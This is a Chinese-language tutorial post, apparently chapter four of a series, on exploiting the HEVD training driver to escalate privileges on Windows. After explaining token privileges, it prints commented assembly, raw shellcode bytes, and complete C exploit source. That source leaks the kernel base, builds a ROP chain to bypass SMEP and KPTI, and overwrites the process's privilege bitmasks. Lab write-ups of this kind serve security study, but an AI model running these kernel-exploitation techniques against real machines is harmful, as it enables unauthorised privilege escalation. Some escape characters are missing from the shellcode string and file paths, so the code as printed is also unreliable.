shellcode 提升权限
在前四章中,我们所做的一切基本上都是利用基于堆栈的缓冲区溢出并绕过一些内核缓解措施。除了内核特定的内存缓解措施外,到目前为止,利用情况一直很普通:没有stack overflow的堆栈溢出。
在这篇最后的文章中,我们将深入研究 Windows 特权机制并使用它来提升我们的特权。然后,我们必须返回用户空间。毕竟,如果计算机马上就要崩溃,那么提升特权或在 ring0 中执行代码是没有用的!问题是我们已经用 ROP 有效载荷破坏了我们的堆栈。更不用说寄存器了:我们已经破坏了它们。恢复它们是不切实际的。这将是我们今天的主要挑战。
特权在 Windows 上的工作原理
很难涵盖 Windows 上的安全性如何工作,甚至特权如何工作。我将在这篇文章中介绍特权的基础知识。稍后我计划再写一篇关于 Windows 安全架构的文章,但根据我目前的文章安排,这可能需要长达一个世纪的时间 ^^(抱歉!)
"A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers or changing the system time."
这是微软对 Windows 权限的定义。权限与可保护的对象(如文件和文件夹)无关,而是与对系统资源和系统相关任务的访问有关。这些权限可以在 Windows 终端上使用 whoami 命令观察: whoami/priv
。
当低权限用户检查自己的权限时出现以下情况:
这里我们看到一个管理员:
如您所见,有些权限仅对管理员显示。对于每个权限,它可以具有一个状态:启用或禁用。实际上,权限有三种可能的属性:存在、启用和默认启用。程序显示的权限为存在权限 whoami
。这些权限可以启用或禁用。但是,如果权限不存在,则可能未启用。状态很简单:如果已启用,则用户可以使用它。否则,必须启用它。“默认启用”属性也很直观,无需解释。
好的,这些权限与用户相关。但是进程呢?
好吧,内核中存储了与每个进程相关联的结构,名为 EPROCESS。它存储了另一个非常重要的数据结构,名为 TOKEN。正如微软所解释的那样,访问令牌对象“包括与进程或线程相关联的用户帐户的身份和权限”。当用户启动新进程(或线程)时,系统将创建其访问令牌的副本并将其存储在进程结构中。如果我们打算提升进程的权限,这就是我们要弄乱的数据结构。
在 token 结构中存储的许多信息中,例如用户帐户的安全标识符 (SID)、用户所属组的 SID、模拟级别等,它实际上存储了用户(或用户组)拥有的权限。这些就是我之前提到的权限!这个家伙是一个数据结构 _SEP_TOKEN_PRIVILEGES
,其定义如下:
kd> dt _SEP_TOKEN_PRIVILEGES
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
没错!每个权限都由三个位掩码中的一个位表示:存在、启用和默认启用。每个位都是以下列表中的一个权限:
2: SeCreateTokenPrivilege -> Create a token object
3: SeAssignPrimaryTokenPrivilege -> Replace a process-level token
4: SeLockMemoryPrivilege -> Lock pages in memory
5: SeIncreaseQuotaPrivilege -> Increase quotas
6: SeMachineAccountPrivilege -> Add workstations to the domain
7: SeTcbPrivilege -> Act as part of the operating system
8: SeSecurityPrivilege -> Manage auditing and security log
9: SeTakeOwnershipPrivilege -> Take ownership of files/objects
10: SeLoadDriverPrivilege -> Load and unload device drivers
11: SeSystemProfilePrivilege -> Profile system performance
12: SeSystemtimePrivilege -> Change the system time
13: SeProfileSingleProcessPrivilege -> Profile a single process
14: SeIncreaseBasePriorityPrivilege -> Increase scheduling priority
15: SeCreatePagefilePrivilege -> Create a pagefile
16: SeCreatePermanentPrivilege -> Create permanent shared objects
17: SeBackupPrivilege -> Backup files and directories
18: SeRestorePrivilege -> Restore files and directories
19: SeShutdownPrivilege -> Shut down the system
20: SeDebugPrivilege -> Debug programs
21: SeAuditPrivilege -> Generate security audits
22: SeSystemEnvironmentPrivilege -> Edit firmware environment values
23: SeChangeNotifyPrivilege -> Receive notifications of changes to files or directories
24: SeRemoteShutdownPrivilege -> Force shutdown from a remote system
25: SeUndockPrivilege -> Remove computer from docking station
26: SeSyncAgentPrivilege -> Synch directory service data
27: SeEnableDelegationPrivilege -> Enable user accounts to be trusted for delegation
28: SeManageVolumePrivilege -> Manage the files on a volume
29: SeImpersonatePrivilege -> Impersonate a client after authentication
30: SeCreateGlobalPrivilege -> Create global objects
31: SeTrustedCredManAccessPrivilege -> Access Credential Manager as a trusted caller
32: SeRelabelPrivilege -> Modify the mandatory integrity level of an object
33: SeIncreaseWorkingSetPrivilege -> Allocate more memory for user applications
34: SeTimeZonePrivilege -> Adjust the time zone of the computer's internal clock
35: SeCreateSymbolicLinkPrivilege -> Required to create a symbolic link
值得赞扬的是,这份名单来自这里。谢谢你,波动性基金会。
您可能会发现列表从数字 2 开始,一直到数字 35。为什么它不像计算机科学中的其他一切一样从零开始呢?答案并不明显。答案是如此不明显,我现在还不确定,但我怀疑两个最低有效位一定是零,所以它不会被数字 -1 “误认为” 。如果漏洞允许攻击者以某种方式更改此结构(例如我们正在利用的这个漏洞),则将其设置为 -1 应该更容易。
好的,回到漏洞利用上。我们“所要做的”就是将结构 SEP_TOKEN_PRIVILEGES
(位于 TOKEN
结构中)的 EPROCESS
所有字段(存在、启用和默认启用,尽管最后一个是可选的)更改为 0xffffffffc。
如果我们在内存中找到这个结构并对其进行修改,我们就能提升权限!
编写 shellcode
如上所述,我们必须找到特权结构才能对其进行更改,该结构位于令牌结构内。给定一个结构,使用PsReferencePrimaryToken EPROCESS
方法找到主令牌很简单。它将返回令牌!
要使用此方法,我们需要一个 EPROCESS
对象。没问题!只要我们为该进程提供一个 PID,PsLookupProcessByProcessId就能给我们提供这个对象。
有了令牌结构,我们必须找到特权结构来修改它。 dt
WinDBG 上的命令将显示该结构的偏移量:
它位于偏移量 0x40 处。太棒了。到目前为止,我们必须采取的步骤如下:
- 从 PID 中使用
PsLookupProcessByProcessId()
函数获取EPROCESS
将提升权限的进程的对象; - 从这个
EPROCESS
对象中获取TOKEN
结构; - 从
TOKEN
结构体中获取SEP_TOKEN_PRIVILEGES
偏移量0x40处的结构体; - 将此结构的每个字段更改为 0xffffffffc
好吧。让我们写一些汇编代码:
mov rcx, <PID> ;The first argument to PsLookupProcessByProcessId() is the PID number. Will be adjusted dinamically. Rcx on Windows calling convention stores the first argument.
sub rsp, 0x8; The second argument given to PsLookupProcessByProcessId() is the EPROCESS struct to be filled (it is an out argument). I'm reserving 8 bytes for this in the stack.
mov rdx, rsp; Now placing the second argument, which is a pointer to the stack (the 8 bytes we just reserved for this) to rdx. Rdx on Windows calling convention stores the second argument, remember?
movabs rbx, <ADDRESS OF PsLookupProcessByProcessId()> ;
call rbx ; Actually call the function! The EPROCESS structure will be in stack (RSP).
mov rcx, QWORD PTW [rsp] ; Moving RSP to the first and only argument of PsReferencePrimaryToken()
movabs rbx, <ADDRESS OF PsReferencePrimaryToken> ;
call rbx ; Calling PsReferencePrimaryToken! The address for the struct will be on the return value, AKA rax register!
add rax, 0x40; Adjusting the offset. Now rax points directly to SEP_TOKEN_PRIVILEGES.
movabs rcx, 0xfffffffc ; The value of each SEP_TOKEN_PRIVILEGES is moved to rcx.
mov QWORD PTR [rax], rcx ; Now the magic happens! We change the first field in SEP_TOKEN_PRIVILEGES to 0xfffffffc.
add rax, 0x8 ; Next field...
mov QWORD PTR [rax], rcx ; Changing the second field.
add rax, 0x8 ; Final field
mov QWORD PTR [rax], rcx ; Changing the third field.
还有一件事我们应该做,那就是优雅地返回用户空间。
Kristal发现了一种使用sysret返回用户空间的好方法。 Sysret 与 syscall 的关系与 ret 与 call 的关系一样,但有额外的步骤。
实际上,正常返回用户空间后,操作系统会恢复执行上下文并正常返回。Kristal 所做的(我鼓励您阅读他的帖子)是模仿操作系统返回用户空间的方式。他的方法在这里不起作用,因为启用了 KPTI。
Windows 有两种返回方法。一种是 KPTI 被禁用时的方法,另一种是 KPTI 被启用时的方法。据我所知,Kristal 或任何其他人都没有开发出一种 KPTI 被启用时的方法。好吧,我也没有。
Windows 有一个返回用户空间的特定函数。它被称为 KiKernelSysretExit()
。我采用的第一个也是最幼稚的方法是跳转到 shellcode 末尾的该函数,让内核完成繁重的工作,而不是我自己在 shellcode 中完成。令我惊讶的是,它确实有效。
我在 shellcode 中添加了两行:
movabs rbx, <ADDRESS_TO_SYSRET_KERNEL_FUNCTION>;
jmp rbx;
剩下的工作由内核完成!
我使用我儿子的Vinicius出色的shellcoding 工具将我的汇编代码转换为操作码。然后我将其放入变量中并在运行时调整地址。我的 generate_shellcode()
函数现在如下所示:
char *generate_shellcode() {
char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11); //0x4e+11 is the size of the shellcode
memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
memcpy(shellcode + 3, &pid, 4); // Adjusting the PID
memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8); //Adjusting the address for PsLookUpProcessByProcessId function
memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8); //Adjusting PsReferencePrimaryToken function address
memcpy(shellcode + 0x4e+1, &kernel_sysret, 8); // Adjusting sysret function address.
return shellcode;
}
轰!成功了!
最后的效果
我运行该漏洞:
在左侧,我们可以看到我的漏洞的调试消息。在右侧,它生成了一个 CMD,其权限将被提升。我放置了一个 whoami/priv
来断言它没有权限。
当我在漏洞终端上按下回车键时,权限就提升了。
终于!系统没有崩溃,权限也提升了。我会在文章末尾留下完整的源代码。
结论
我们做到了!哎呀,我花了很长时间才写完。我为这么长时间的拖延道歉。从这次练习中,我们可以得出以下几点结论:
- Windows 内核缓解措施并不那么强大。当您从完整性级别中等或更高级别运行时,Windows 的 KASLR 很容易被绕过。SMEP 很有用,但有一个巧妙的小工具可以轻松绕过它。KPTI 是最难对付的敌人,但可以通过分配可执行池并跳转到它来绕过。
- 如果我们无法恢复堆栈,我们可以让内核通过调用它自己的退出函数来完成繁重的工作。
- 汇编编程对于此级别的 shellcoding 非常有用。
希望你喜欢!下次再见。
源代码
#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>
// Name of the device
#define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
unsigned long long g_add_rsp_20h_ret = 0xa155de;
unsigned long long g_pop_rdi_pop_r14_pop_rbx_ret = 0x20a518;
unsigned long long g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53;
unsigned long long g_pop_rdx_ret = 0x416748;
unsigned long long g_push_rax_pop_rbx_ret = 0x20a263;
unsigned long long g_push_rax_pop_r13_ret = 0x5af724;
unsigned long long g_xchg_r8_r13_ret = 0x2c0da6;
unsigned long long g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a;
unsigned long long g_pop_r8_ret = 0x2017f1;
unsigned long long g_jmp_rbx = 0x408aa2;
unsigned long long kernel_ExAllocatePoolWithTag;
unsigned long long kernel_sysret = 0xa13dc0;
unsigned long long kernel_memcpy;
DWORD pid;
typedef struct sSepTokenPrivileges {
UINT8 present;
UINT8 enabled;
UINT8 enabled_by_default;
} SEP_TOKEN_PRIVILEGES;
typedef NTSTATUS(*_PsLookupProcessByProcessId)(IN HANDLE, OUT PVOID *);
_PsLookupProcessByProcessId kernel_PsLookupProcessByProcessId;
typedef PVOID(*_PsReferencePrimaryToken)(PVOID);
_PsReferencePrimaryToken kernel_PsReferencePrimaryToken;
// Definição do número da IOCTL para o StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER IOCTL(0x800)
// Returns kernel base address
unsigned long long get_kernel_base_addr() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (unsigned long long)drivers[0];
}
// Gets the handle for the device driver
HANDLE get_handle() {
HANDLE h = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
printf("Failed to get handle =(n");
return NULL;
}
return h;
}
void add_to_payload(char *in_buffer, SIZE_T *offset, unsigned long long *data, SIZE_T size)
{
memcpy(in_buffer + *offset, data, size);
printf("Wrote %lx to offset %un", *data, *offset);
*offset += size;
}
PVOID get_kernel_symbol_addr(const char *symbol) {
PVOID kernelBaseAddr;
HMODULE userKernelHandle;
PCHAR functionAddress;
unsigned long long offset;
kernelBaseAddr = (PVOID)get_kernel_base_addr(); // Loads kernel base address
userKernelHandle = LoadLibraryA("C:\Windows\System32\ntoskrnl.exe"); // Gets kernel binary
if (userKernelHandle == INVALID_HANDLE_VALUE) {
return NULL;
}
functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol); // Finds given symbol
if (functionAddress == NULL) {
// Could not find symbol
return NULL;
}
offset = functionAddress - ((PCHAR)userKernelHandle); // Subtracts the loaded binary's base address from the found address. This way, we will find the offset of the symbol for base address 0.
return (PVOID)(((PCHAR)kernelBaseAddr) + offset); // Adds the offset to the leaked base address.
}
void adjust_offsets()
{
unsigned long long kernel_base_addr = get_kernel_base_addr();
g_xor_ecx_ecx_mov_rax_rcx_ret += kernel_base_addr;
g_pop_rdi_pop_r14_pop_rbx_ret += kernel_base_addr;
g_add_rsp_20h_ret += kernel_base_addr;
g_pop_rdx_ret += kernel_base_addr;
g_push_rax_pop_rbx_ret += kernel_base_addr;
g_push_rax_pop_r13_ret += kernel_base_addr;
g_xchg_r8_r13_ret += kernel_base_addr;
g_mov_rcx_r8_mov_rax_rcx_ret += kernel_base_addr;
g_pop_r8_ret += kernel_base_addr;
g_jmp_rbx += kernel_base_addr;
kernel_sysret += kernel_base_addr;
kernel_ExAllocatePoolWithTag = (unsigned long long) get_kernel_symbol_addr("ExAllocatePoolWithTag");
kernel_memcpy = (unsigned long long) get_kernel_symbol_addr("memcpy");
kernel_PsLookupProcessByProcessId = (_PsLookupProcessByProcessId) get_kernel_symbol_addr("PsLookupProcessByProcessId");
kernel_PsReferencePrimaryToken = (_PsReferencePrimaryToken) get_kernel_symbol_addr("PsReferencePrimaryToken");
printf("Primary token: %xu n", (ULONGLONG)kernel_PsReferencePrimaryToken - kernel_base_addr);
printf("PsReferencePrimaryToken base addr: %xun", (ULONGLONG) kernel_PsReferencePrimaryToken - (ULONGLONG) kernel_base_addr);
}
DWORD spawnCmd() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = "C:\Windows\System32\cmd.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(NULL, // No module name (use command line)
cmd, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_NEW_CONSOLE, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
printf("CreateProcess failed (%d).n", GetLastError());
return -1;
}
return pi.dwProcessId;
}
char *generate_shellcode() {
char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e+11);
memcpy(shellcode, "x48xc7xc1x78x56x34x12x48x83xecx08x48x89xe2x48xbbx00x00x00x00xffxffxffxffxffxd3x48x8bx0cx24x48xbbx10x32x34x12xffxffxffxffxffxd3x48x83xc0x40x48xb9xfcxffxffxffx00x00x00x00x48x89x08x48x83xc0x08x48x89x08x48x83xc0x08x48x89x08x48x83xc4x08x48xBBxC0x0Dx02x1Bx05xF8xFFxFFxFFxE3", 0x4e+11);
memcpy(shellcode + 3, &pid, 4);
memcpy(shellcode + 16, &kernel_PsLookupProcessByProcessId, 8);
memcpy(shellcode + 32, &kernel_PsReferencePrimaryToken, 8);
memcpy(shellcode + 0x4e+1, &kernel_sysret, 8);
return shellcode;
}
//Does everything
void do_buffer_overflow(HANDLE h)
{
SIZE_T in_buffer_size = 2072 + 8 * 15 + 0x20;
PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
memset((char *)in_buffer, 'A', in_buffer_size);
SIZE_T offset = 2072;
pid = spawnCmd();
adjust_offsets();
char *shellcode = generate_shellcode();
unsigned long long size_of_copy = 0x4e+11;
add_to_payload((char*)in_buffer, &offset, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
add_to_payload((char*)in_buffer, &offset, &kernel_ExAllocatePoolWithTag, 8);
add_to_payload((char*)in_buffer, &offset, &g_add_rsp_20h_ret, 8);
offset += 0x20;
add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_rbx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_r13_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_xchg_r8_r13_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_mov_rcx_r8_mov_rax_rcx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
add_to_payload((char*)in_buffer, &offset, (unsigned long long *)(&shellcode), 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_r8_ret, 8);
add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
add_to_payload((char*)in_buffer, &offset, &kernel_memcpy, 8);
add_to_payload((char*)in_buffer, &offset, &g_jmp_rbx, 8);
system("pause");
printf("Sending buffer.n");
//Sends buffer through IOCTL
bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
if (!result)
{
printf("IOCTL Failed: %Xn", GetLastError());
}
//Frees allocated memory
HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
}
int main(int argc, char **argv)
{
do_buffer_overflow(get_handle());
system("pause");
}
原文始发于微信公众号(sec0nd安全):[使用 HEVD 破解 Windows 内核] 第 4 章:shellcode 提升权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论